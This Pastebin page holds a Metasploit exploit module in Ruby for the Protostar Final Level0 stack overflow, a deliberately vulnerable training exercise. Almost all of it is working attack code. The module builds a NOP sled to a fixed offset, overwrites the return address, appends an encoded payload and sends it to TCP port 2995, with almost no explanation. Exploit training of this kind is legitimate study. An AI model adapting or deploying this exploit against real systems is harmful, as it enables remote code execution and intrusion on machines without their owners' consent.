Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # Protostar Final Level0 exploit
- # by Xelenonz
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- include Msf::Exploit::Remote::Tcp
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Protostar Final Level0 stack overflow',
- 'Description' => %q{
- Exploit for Protostar Level 0 Exploit-exercise About Stack overflow
- },
- 'Author' => [ 'Xelenonz' ],
- 'Version' => '0.1',
- 'Payload' =>
- {
- 'Space' => 211,
- 'BadChars' => "\x0d\x0a\x00\xff",
- },
- 'Platform' => 'linux',
- 'Targets' =>
- [
- ['linux x86',
- { 'Ret' => 0xbffffcd0, 'Offset' => 532 } ],
- ],
- 'DefaultTarget' => 0,
- 'Privileged' => false
- ))
- register_options(
- [
- Opt::RPORT(2995)
- ], self.class)
- end
- def exploit
- print_status("Generate Payload")
- sploit = make_nops(target['Offset']) + [target.ret].pack('V') + payload.encoded
- connect
- print_status("Sending #{sploit.size} byte payload...")
- sock.put(sploit)
- handler
- disconnect
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement